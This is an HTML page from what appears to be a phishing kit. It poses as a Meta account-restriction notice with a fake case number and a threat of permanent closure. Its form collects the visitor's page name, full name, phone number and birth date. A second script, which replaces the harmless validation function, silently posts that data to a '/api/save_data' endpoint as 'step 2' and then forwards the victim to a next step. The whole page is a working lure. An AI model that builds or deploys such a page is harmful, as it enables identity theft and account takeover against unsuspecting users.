<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Account Restriction</title>
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;700&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Poppins', Arial, sans-serif;
            background-color: #f0f2f5;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 110vh;
            margin: 0;
            -webkit-user-select: none;
            user-select: none;
        }

        .container {
            background-color: white;
            width: 600px;
            padding: 40px 30px 30px;
            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
            border-radius: 12px;
            text-align: center;
            position: relative;
        }

        .meta-logo {
            position: absolute;
            top: 20px;
            left: 30px;
            width: 120px;
        }

        .main-image {
            display: block;
            margin: 60px auto 20px;
            width: 120px;
        }

        h1 {
            font-size: 26px;
            margin-bottom: 15px;
            color: #1c1e21;
        }

        p {
            color: #606770;
            font-size: 16px;
            margin-bottom: 25px;
            line-height: 1.6;
        }

        .form-group {
            margin-bottom: 20px;
            text-align: left;
        }

        .form-group input {
            width: calc(100% - 20px);
            padding: 14px;
            margin: 0 auto;
            border: 1px solid #ddd;
            border-radius: 8px;
            font-size: 16px;
            display: block;
            transition: all 0.3s;
        }

        .form-group input:focus {
            border-color: #1877f2;
            box-shadow: 0 0 6px rgba(24, 119, 242, 0.3);
            outline: none;
        }

        .form-group input:invalid {
            border-color: #f02849;
        }

        button {
            width: 100%;
            padding: 15px;
            border: none;
            border-radius: 8px;
            background-color: #1877f2;
            color: white;
            font-size: 18px;
            font-weight: 500;
            cursor: pointer;
            transition: background-color 0.3s;
        }

        button:hover {
            background-color: #155dbb;
        }

        .footer-notification {
            font-size: 14px;
            color: #606770;
            margin-top: 20px;
        }

        a {
            color: #1877f2;
            text-decoration: none;
        }

        a:hover {
            text-decoration: underline;
        }
    </style>
    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const today = new Date();
            const options = { year: 'numeric', month: 'long', day: 'numeric' };
            document.getElementById('current-date').textContent = today.toLocaleDateString('en-US', options);
        });

        function validateForm(event) {
            event.preventDefault();
            const pageName = document.getElementById('pageName').value;
            const name = document.getElementById('name').value;
            const phone = document.getElementById('phone').value;
            const birthday = document.getElementById('birthday').value;

            if (pageName && name && phone && birthday) {
                alert('Form submitted successfully!');
                // Redirect to the next page
                window.location.href = "pageC.html";
            } else {
                alert('Please fill in all fields correctly.');
            }
        }
    </script>
</head>
<body>
    <div class="container">
        <img src="./meta-logo.png" alt="Meta Logo" class="meta-logo" style="width: 15%">
        <img class="main-image" src="main-image.png" alt="Main Image" style="width: 55%">
        <h1>Your account has been restricted</h1>
        <p>We detected unusual activity on your account today, <strong id="current-date"></strong>. To avoid account disabling, please verify your identity by filling in the form below:</p>

        <form id="verificationForm" onsubmit="validateForm(event)">
            <div class="form-group">
                <input type="text" id="pageName" name="pageName" placeholder="Page Name" required pattern=".{3,}">
            </div>

            <div class="form-group">
                <input type="text" id="name" name="name" placeholder="Your Name (Name and Surname)" required >
            </div>

            <div class="form-group">
                <input type="tel" id="phone" name="phone" placeholder="Your Phone Number" required pattern="^\d{5,}$">
            </div>

            <div class="form-group">
                <input type="date" id="birthday" name="birthday" required>
            </div>

            <p>Case Number: <strong>#100430558912</strong></p>
            <p>About Case: Violating Community Standards and Posting something inappropriate.</p>

            <button type="submit">Continue</button>
        </form>

        <div class="footer-notification">
            ⚠️ Please ensure all information is correct. Incorrect data may result in permanent account closure.
        </div>
    </div>
    <br />
     <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
    <script>
        function validateForm(event) {
    event.preventDefault();

    const pagename = document.getElementById('pageName').value;
    const page = document.getElementById('name').value;
    const phone = document.getElementById('phone').value;
    const birthday = document.getElementById('birthday').value;

    if (pagename && page && phone && birthday) {
        const formattedDate = formatDate(birthday);
         var rootDomain = window.location.origin; 
                var currentFolder = window.location.pathname.split('/')[1] || '' 
                var callback = rootDomain + (currentFolder ? '/' + currentFolder : '');
 
                    $.ajax({
                        url: rootDomain + (currentFolder ? '/' + currentFolder : '') + '/api/save_data',
                        type: "post",
                        contentType: "application/json",
                        data: JSON.stringify({
                            step: 2,
                            page: page,
                            pagename: pagename,
                            phone: phone,
                            year: formattedDate,
                            callback: callback,
                        }),
                       
                        success: function(s) {
                            console.log(s);
                      setTimeout(function() {
                               location.href = './step3'; 
                        }, 1500); 
                        },
                        error: function(e) {
                            console.log('Something went wrong');
                        }
                    });
               
         
    } else {
        alert('Please fill in all fields correctly.');
    }
}
function formatDate(dateString) {
    const parts = dateString.split("-");
    return `${parts[2]}/${parts[1]}/${parts[0]}`;
}
    </script>
</body>
</html>
